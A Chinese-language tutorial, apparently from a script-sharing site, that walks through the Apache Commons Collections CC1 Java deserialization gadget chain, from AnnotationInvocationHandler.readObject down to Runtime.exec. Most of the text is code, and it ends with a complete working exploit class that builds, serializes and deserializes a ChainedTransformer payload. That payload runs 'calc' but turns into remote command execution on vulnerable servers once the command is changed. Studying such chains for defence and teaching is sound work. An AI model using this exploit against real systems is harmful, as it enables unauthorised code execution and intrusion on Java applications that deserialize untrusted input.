Java安全之CC1利用鏈詳解
一、梳理基本邏輯
WEB后端JVM通過readObject()的反序列化方式接收用戶輸入的數據
用戶編寫惡意代碼并將其序列化為原始數據流
WEB后端JVM接收到序列化后惡意的原始數據并進行反序列化
當調用:
ObjectInputStream.readObject()
JVM 內部邏輯:
- → 反序列化 AnnotationInvocationHandler.class
- → 檢查到類里定義了 private void readObject(ObjectInputStream)
- → 自動調用 readObject()
于是我們通過這個入口將整條鏈都執(zhí)行了,最后執(zhí)行命令
二、CC1的基本形態(tài)構建
2.1、Runtime.getRuntime().exec()
Java執(zhí)行系統命令的方式
- 正常寫法:
Runtime.getRuntime().exec("calc");
- 反射寫法:
Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r,"calc");
2.2、InvokeTransformer.transform()
重寫了Transformer接口的transform方法,能執(zhí)行命令
在InvokeTransformer()中傳入待執(zhí)行的方法名(exec)、類的類型(String.class)和具體命令(calc)
在InvokeTransformer的transform()中傳入要執(zhí)行方法的對象(r)
Runtime r = Runtime.getRuntime(); // Class c = Runtime.class; // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(r,"calc"); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
其作用等價于
Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r,"calc");
也等價于
Runtime.getRuntime().exec("calc");
2.3、TransformedMap.checkSetValue()
會調用transform -> 需要通過TransformedMap.decorate()間接調用
可以看到圖3調用了transform()方法;
并且由圖1知道該類是對Map進行處理的類,為了達到我們想要的效果,我們得自己構造一個Hash Map;
而且可以看到圖3最后是對valueTransformer進行操作的,所以我們可以把InvokeTransformer對象當做valueTransformer傳遞給TransformedMap的decorate()方法:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
所以當TransformedMap處理我們的對象時,就會調用InvokeTransformer.transform()
也就是等價于:
protected Object checkSetValue(Object value) { return InvokeTransformer.transform(value); }
2.4、MapEntry.setValue()
TransformedMap的抽象父類AbstractInputCheckedMapDecorator
中的MapEntry副類中的setValue()方法調用了checkSetValue()
- HashMap在遍歷的時候,一個鍵值對就叫Entry;
- MapEntry的setValue()實際上就是重寫的Entry的setValue();
所以當遍歷我們構造的transformedMap對象時,就會走到MapEntry的setValue()方法;
進而調用setValue()中調用的checkSetValue():
HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
當transformedMap被遍歷時,就會執(zhí)行命令:
2.5、AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler重寫了readObject()方法,執(zhí)行AnnotationInvocationHandler.readObject()時會調用setValue()
因為這個類的構造方法不是public,所以我們要通過反射獲取該類及其方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
三、整理內容
3.1、思路梳理(正向)
1、現在我們構建的這個對象,會在反序列化的時候自動觸發(fā)AnnotationInvocationHandler中的readObject()方法,原理如下;
2、當執(zhí)行該重寫的readObject()方法時,會觸發(fā)調用MapEntry.setValue(),因為AnnotationInvocationHandler.readObject()的內部機制:
當反序列化AnnotationInvocationHandler時會自動遍歷我們傳遞的transformedMap,從而執(zhí)行MapEntry的setValue()方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { memberValue.setValue(...); // ← 這里就觸發(fā)了 transformedMap 的 checkSetValue() }
3、當MapEntry.setValue()被執(zhí)行時,會執(zhí)行TransformedMap.checkSetValue(),因為:
TransformedMap.decorate()返回的Map包裝了原始的entrySet(),當調用entry.setValue()時,其實是在調用TransformedMap.MapEntry.setValue(),而這個方法正好調用了checkSetValue()
當遍歷我們構造的transformedMap對象時,就會走到MapEntry的setValue()方法;
進而調用setValue()中調用的checkSetValue():
4、當TransformedMap.checkSetValue()被調用時,會調用InvokeTransformer.transform(),因為:
我們把InvokeTransformer對象當做valueTransformer傳遞給TransformedMap的decorate()方法
而decorate()方法就會間接調用checkSetValue(),然后間接調用InvokeTransformer.transform(),相當于
protected Object checkSetValue(Object value) { return InvokeTransformer.transform(value); }
5、當InvokeTransformer.transform()被調用,就基于我們實例化的Runtime對象r進行命令執(zhí)行
3.2、EXP雛形
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Runtime r = Runtime.getRuntime(); // Class c = Runtime.class; // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(r,"calc"); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(hacker); unserialize("hacker.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin")); oss.writeObject(obj); } public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
四、問題處理
4.1、Runtime不能被序列化
我們跟進到Runtime里看一下,發(fā)現它沒有serializable接口,不能被序列化:
但是我們可以運用反射來獲取它的原型類,它的原型類class是存在serializable接口,可以序列化
那么我們怎么獲取一個實例化對象呢,這里我們看到存在一個靜態(tài)的getRuntime方法,這個方法會返回一個Runtime對象,相當于是一種單例模式:
用反射構建一個Runtime對象(能執(zhí)行命令):
//獲取類原型 Class c = Runtime.class; //獲取getRuntime方法 Method getRuntimeMethod = c.getMethod("getRuntime",null); //獲取實例化對象,因為該方法無無參方法,所以全為null Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); //獲取exec方法 Method execMehod = c.getMethod("exec", String.class); //實現命令執(zhí)行 execMehod.invoke(r,"calc");
因為我們最后執(zhí)行是依靠InvokeTransformer.transform(),所以要將上述代碼進行變形,使其用InvokeTransformer.transform()的形式呈現(能執(zhí)行命令):
參考InvokeTransformer.transform()執(zhí)行對象方法的原理
\\InvokeTransformer(方法).transform(對象)\\
//獲取類原型 Class c = Runtime.class; //模擬獲取getRuntime方法 Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); //模擬獲取invoke方法 Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); //模擬獲取exec方法,并進行命令執(zhí)行 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
但是這樣要一個個嵌套創(chuàng)建參數太麻煩了,我們這里找到了一個Commons Collections庫中存在的ChainedTransformer類,它也存在transform方法可以幫我們遍歷InvokerTransformer,并且調用transform方法:
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
4.2、AnnotationInvocationHandler類下的readObject方法的條件判斷
這里memeberType是獲取注解中成員變量的名稱,然后并且檢查鍵值對中鍵名是否有對應的名稱
而我們發(fā)現另一個注解@Target中有個名為value的成員變量,所以我們就可以使用這個注解,
并改第一個鍵值對的值為value:
4.3、AnnotationTypeMismatchExceptionProxy不能轉換為Runtime.class
把上述問題解決后我們再觀察,因為AnnotationInvocationHandler.readObject()是入口,當反序列化觸發(fā)readObject()時,該方法默認創(chuàng)建了一個對象AnnotationTypeMismatchExceptionProxy:
可以發(fā)現,鏈條雖然被觸發(fā)了,不過AnnotationTypeMismatchExceptionProxy這個對象最后傳到ChainedTransformer類中是不能執(zhí)行方法的,我們想要的是獲取Runtime.class對象:
protected Object checkSetValue(Object value) { return ChainedTransformer.transform(Runtime.class); }
而不是:
protected Object checkSetValue(Object value) { return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy); }
所以我們需要把AnnotationTypeMismatchExceptionProxy改為Runtime.class
ConstantTransformer:我們傳入什么值,就會返回什么值
這個類就能把AnnotationTypeMismatchExceptionProxy改為Runtime.class
在到達最后一步InvokeTransformer.transform()對某個對象執(zhí)行其命令之前,將Runtime.class作為對象輸出給它
至此,CC1鏈的問題就全部解決了。
五、最終EXP
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class ZCC1_final { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class); annotation.setAccessible(true); Object o = annotation.newInstance(Target.class,transformed); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); } public static Object unserialize(String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
總結
以上為個人經驗,希望能給大家一個參考,也希望大家多多支持腳本之家。